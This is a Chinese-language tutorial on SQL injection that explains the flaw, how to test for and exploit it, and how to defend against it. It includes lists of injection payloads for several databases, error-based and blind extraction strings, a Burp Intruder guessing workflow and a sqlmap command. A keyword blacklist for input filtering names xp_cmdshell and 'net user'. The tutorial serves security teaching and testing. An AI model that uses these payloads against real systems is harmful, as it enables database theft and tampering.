所谓SQL 注入,即攻击者猜测Web系统的数据验证过程,在输入数据的最后加上一段SQL语句,让服务器端的SQL执行出现偏差,最终达到欺骗服务器执行恶意SQL命令。
SQL注入的本质为对输入检查不充分,导致SQL语句将用户提交的非法数据当作语言的一部分来执行,即拼接SQL命令。如:
uname = request.POST['username']
password = request.POST['password']
sql = "SELECT all FROM users WHERE username='" + uname + "' AND password='" + password + "'"
database.execute(sql)
上面这段程序直接将客户端传过来的数据写入到数据库。试想一下,如果用户传入的 password 值是: “password’ OR 1=1”,那么 sql 语句便会变成:
sql = "SELECT all FROM users WHERE username='username' AND password='password' OR 1=1"
那么,这句 sql 无论 username 和 password 是什么都会执行,从而将所有用户的信息取出来。
1、数据库敏感数据被黑客窃取(即“拖库”),造成关键业务数据、用户认证信息等泄漏。如企业经营信息或员工重要信息泄漏,会引发严重后果。
2、数据库敏感数据被黑客修改(网页篡改、挂马),造成系统运行异常,或者业务流程异常执行,以达到黑客的恶意目的。
3、黑客取得数据库管理员权限,通过写入文件操作将木马(webshell)等恶意执行文件写入服务器操作系统。运行恶意执行文件,获取服务器及内网其他服务器的系统管理员权限,完全控制服务器。
鉴于SQL注入的危害性,漏洞一经发现,漏洞级别通常为高危或严重级别。
GET、POST、HTTP头部注入,Cookie注入,任何客户端可控,传递到服务器的变量。只要应用程序涉及到数据库查询的位置,都有SQL注入存在的隐患。而如果查询参数,需要用户参与,则这些位置,就是注入漏洞经常被利用的地方。常见位置:
一次完整的SQL注入漏洞利用,主要分为四个阶段。
(a)发现注入点(有无回显)
(b)数据库信息搜集
(c)数据获取
(d)提权、权限维持
寻找注入点是整个SQL注入漏洞利用过程的第一步,也是最重要的一步。通常测试方法可分为手工注入、自动化工具注入。
我们可以通过观察一个请求不同参数的服务端返回结果,判断是否存在SQL注入漏洞。
以最简单的Get请求数字型注入为例。第一条请求为默认请求。第二条请求增加了参数" and 1=1 “。第三条请求增加了参数” and 1=2 "。
www.abc.com/index.php?id=2
www.abc.com/index.php?id=2 and 1=1
www.abc.com/index.php?id=2 and 1=2
若第2条请求返回正常,第3条返回不正常说明id参数,后面的请求在数据库中被当作了sql语句执行,即id参数存在注入漏洞。
类似的判断payload可参考如下。各数据库通用。可在开发测试阶段进行测试。
通用payload:
'
or 1=1
a' or 1=1
a' or 1=1#
1' or '1'='1
1') or ('1'='1
a" or 1=1#
a" or "1"="1
123" or "1"="1
a' OR 1=1 OR '1'='1
a" or 1=1 or "1"="1
a" or 1=1 or "1"="1#
' and 1=1 --#
' and 1=2 --#
'and 1=1 and '%'='
%' and 1=1--'
%' and 1=1 and '%'='
SQLSERVER:
1 or 'ab'='a'+'b'
1) or ('ab'='a'+'b'
1' or 'ab'='a'+'b
1') or ('ab'='a'+'b
MySQL:
1 or 'ab'='a' 'b'
1) or ('ab'='a' 'b'
1' or 'ab'='a' 'b
1') or ('ab'='a' 'b
Oracle:
1) or ('ab'='a' 'b'
1) or ('ab'='a'‖'b'
1' or 'ab'='a'‖'b
1') or ('ab'='a'‖'b
找到注入点后,进入第二阶段,就可以使用各种组合的sql语句去查询数据库信息。
(1)此处针对name参数,使用攻击语句,
-1')and (extractvalue(1,concat(0x7e,(select user()),0x7e))) --
进行注入。后端返回数据库用户名、ip信息(左侧为请求报文,右侧为应答报文,下同)。
(2)继续针对name参数查询数据库名:
-1')and (extractvalue(1,concat(0x7e,(select database()),0x7e))) --
获取数据库名。
上述例子针对的是具有回显的SQL注入。如果非回显注入(盲注),系统只返回正常与不正常,则需使用二分法进行猜解。
(1)数据库名长度猜解
假设已确认注入点,且为盲注点。猜解数据库名,首先需判断数据库名长度。
针对注入点”startDate“执行判断语句为:
'and(1=if((length(database())=7),1,(select 1 union select 2)))and' '='
这里,database())=7,数字即为数据库长度,可从1-20进行尝试,若系统返回正常,则说明数据库名称猜解正确。
如下,当数据库名长度为6或8时,系统均提示无数据,当数据库名为7时,系统返回数据。
(2)数据库名猜解
当数据库名长度猜解出为7后,需要依次确定是哪七个字符。此处依然通过是否回显判断猜测结果。
对注入点”startDate“参数,使用攻击语句
:'and(1=if((mid(database(),§3§,1)='§e§'),1,(select 1 union select 2)))and''='
进行探测。
配合抓包工具burpsuite自动化intruder探测模块,批量发包,快速查看返回结果。
攻击密码字典。数据库长度为7,故第一个参数字典为1-7。数据库名组成包括26位字母(不区分大小写)、0-9数字、下划线、中划线,故第二个穷举参数包括38个字符。配置如下:
发起批量请求,通过返回报文长度,我们就能确认7位数据库名长度,每一位上的字符内容。重新梳理后,可得到数据库名为vie_biz。
至此,我们通过手工方式,完成了数据库名的猜解。同理,依次猜解表名、列名。获取上述数据后,整张数据库表信息均可查询。提权步骤属于后渗透内容,不在本文讨论范围,不赘述。
上述手工注入法,对于我们理解sql注入的流程非常有帮助。但劣势也很明显,需要尝试不同的攻击payload,猜解数据库信息费时费力。针对该问题,自动化注入工具Sqlmap应运而生。
Sqlmap是一款开源的命令行自动SQL注入工具。它由Bernardo Damele A.G.和 Daniele Bellucci 以 GNU GPLv2 许可证方式发布,可从 https://github.com/sqlmapproject/sqlmap 上下载。
其主要功能是扫描,发现并利用给定的URL的SQL注入漏洞,目前支持的数据库是MySQL, Oracle, PostgreSQL, Microsoft SQL Server, Microsoft Access, IBM DB2, SQLite, Firebird, Sybase和SAP MaxDB。采用五种独特的SQL注入技术,分别是:
1)基于布尔的盲注,即可以根据返回页面判断条件真假的注入。
2)基于时间的盲注,即不能根据页面返回内容判断任何信息,用条件语句查看时间延迟语句是否执行(即页面返回时间是否增加)来判断。
3)基于报错注入,即页面会返回错误信息,或者把注入的语句的结果直接返回在页面中。
4)联合查询注入,可以使用union的情况下的注入。
5)堆查询注入,可以同时执行多条语句的执行时的注入。
以某个测试漏洞为例,针对serviceName参数进行注入攻击。
使用语句:
sqlmap.py -u https://xxxx.test.com/123456.json?serviceName=0 --level=5 --dbs
攻击语句参数中,–dbs表示探测数据库名,–level=5表示探测复杂程度,分1-5级,5级表示最复杂。
通过返回内容我们可以看到,sqlmap探测出目标服务后端使用MySQL数据库,版本大于5.0.12。数据库包含4个库,以及相应的库名。
若需要更详细的探测,可通过更改参数,探测具体的表名、字段名,以及表中的数据。此处不赘述。
如何预防SQL注入问题,首先需要明确漏洞形成的原因,主要有两个:
针对SQL注入问题,OWASP(全球开源组织)提供了如下防护建议:
(a)参数化查询(推荐)
(b)验证用户的输入的合法性
(c)正确使用框架调用数据库
(d)限制应用用户数据库操作权限
针对上述四个方面防护,我们结合实际,逐一说明如何落地实施。
最佳编程实践是使用参数化查询方式也称为预编译方式执行SQL语句,目前成熟的框架都 准备了安全的方法供开发人员调用。值得注意的是,某些安全方法如果调用不当的话,仍然存 在SQL注入的问题。例如使用java内置安全方法prepareStatement:
String sql=“select * from user where name=”+Name;
conn.prepareStatement(sql).executeUpdate();
虽然使用了安全方法,但仍是以字符串拼接的形式进行调用,系统存在SQL注入漏洞。正确的 使用方式是通过占位符的形式进行调用:
pst = conn.prepareStatement(“select * from user where name= ?”);
rs = pst.setString(1, user.getUsername()).executeQuery();
验证用户的输入。即通过前端或后端的方式过滤用户输入内容,如白名单、黑名单。
使用白名单方式,只符合特定场景,但效果显著。
使用黑名单方式,适用范围广。若由于客观原因不能使用参数化查询方式执行SQL语句,则可过滤以下特殊字符等危险 输入:
String badStr = “'|and|exec|execute|insert|select|delete|update|count|drop|* |%|chr|mid|master|truncate|char|declare|sitename|net user|xp_cmdshell|;|or| -|+|,|like'|and|exec|execute|insert|create|drop|table|from|grant|use|group_co ncat|column_name|information_schema.columns|table_schema|union|wher e|select|delete|update|order|by|count|*|”+ “chr|mid|master|truncate|char|declare|or|;|-|--|+|,|like|//|/|%|#”;
另外,也可以增加限制用户输入内容格式限制(类型、长度),增加防护效果。
以上防护措施,均建议通过后端实现。普通前端验证,通过抓包可绕过前端防护。
若使用ibatis、MyBatis框架调用数据库。对于ibaits参数引用可以使用#和$两种写法, 其中#写法会采用预编译方式,将转义交给了数据库,不会出现注入问题;如果采用$写法,则相 当于拼接字符串,会出现注入问题,正确使用如下:
select * from user where name =#Name#
like语句需要根据使用的数据库类型进行如下调整:
MySQL数据库:CONCAT('%',#param#,'%')
Oracle数据库:' % '|| '#param#'||' % '
MSSQL数据库:' % ' +#param# + ' % '
总结为:#为预编译,$为拼接。
遵循软件开发中的最小权限原则。在保证使用功能正常的前提下,尽量使用低权限账号,并且尽可能回收操作权限。
企业针对SQL注入的防护可以微软提出的SDL(软件安全开发周期Security Development Lifecycle)来划分,包含如下领域:
安全团队可对公司技术研发团队成员开展安全开发相关培训。宣导通用安全漏洞的研发侧防御方法。
以及在需求阶段,可加入安全方面考虑,如业务逻辑风险防范等。
研发人员按照预定的预定的业务逻辑完成开fb,并能正确调用相关研发组件安全防御函数。
通过源代码安全扫描,可发现非用户输入功能点的SQL注入,例如orderby排序参数等,作为人工测试的有力补充。常见的源码扫描工具如fortify、checkmarks等。
IAST称为交互式应用程序安全测试。是Gartner公司提出的一种新的应用程序安全测试方案,通过在服务端部署Agent程序,监控Web应用程序运行时函数执行、数据传输,高效识别安全缺陷及漏洞,同时可准确定位漏洞所在代码文件、行数、函数及参数。通常SQL注入返回数据特征明显,使用IAST工具可高效监测SQL注入行为,并发出预警。
IAST工具可在测试阶段通过测试员工点击,被动发现发现安全漏洞。国内常见的IAST厂商包括火线、悬镜等。
应用系统上线前均应通过渗透测试检测,黑盒方式发现漏洞。实现方式可为人工检测、DAST工具自动化扫描等。SQL注入作为高危通用漏洞,是重要测试点。
WAF全称Web应用防火墙,主要防护web端攻击,常见的SQL注入、XSS漏洞,以及组件框架漏洞,均可通过特征识别进行防护。
WAF属于较早诞生的安全防护产品,如今虽经常被人诟病防护场景单一,规则易被绕过等。但作为企业安全防护的前道,可协助应用拦截常规扫描、攻击等。并对一些0day漏洞,可上线临时防护规则,仍是推荐的安全防护产品。开源waf推荐长亭雷池,23年底已荣登GitHub开源类waf产品Star第一。https://github.com/chaitin/SafeLine。
更进一步,企业对外公开接收外部漏洞的平台——SRC安全应急响应中心(Security Response Center),邀请社会白帽子,以奖励方式挖掘自身企业所有信息系统相关漏洞。
建设src的方式主要分两种。一种为企业自行搭建,分前后端,漏洞审批、流转等,要求有研发人员进行平台研发。并配备src运营人员,进行漏洞审核、分发、社区运营等工作。常见的如阿里ASRC、京东JDSRC。
另一个为托管模式,企业可将src托管于付费第三方平台,审核漏洞由三方平台把关。企业只需确认接收漏洞并修复。常见的三方漏洞托管平台,如漏洞盒子、补天等。
两种模式各有优势,企业可根据自身情况选择。
企业可按需采购DAST动态应用安全扫描产品,,借助DAST工具,定期对自身企业公网应用做扫描,持续提升信息系统的安全水位。常见的DAST产品如xray、goby等,均包含社区开源版。
本文简要讲述了SQL注入漏洞的原理、测试方法及防御措施。然而SQL注入的内容远不止此,针对不同的数据库(包括NoSQL)、注入类型、回显方式、利用手法、权限提升等,涉及数据库、WEB开发、编程语言特性,均可衍生出大量知识点。
作为历年OWASP TOP10中常客,SQL注入其破坏性不言而谕。对于一个信息系统而言,预防SQL注入最低成本的方式,是在设计研发阶段从系统底层完成防护。应用上线后,安全工具、渗透测试、应急响应平台作为发现漏洞的辅助手段。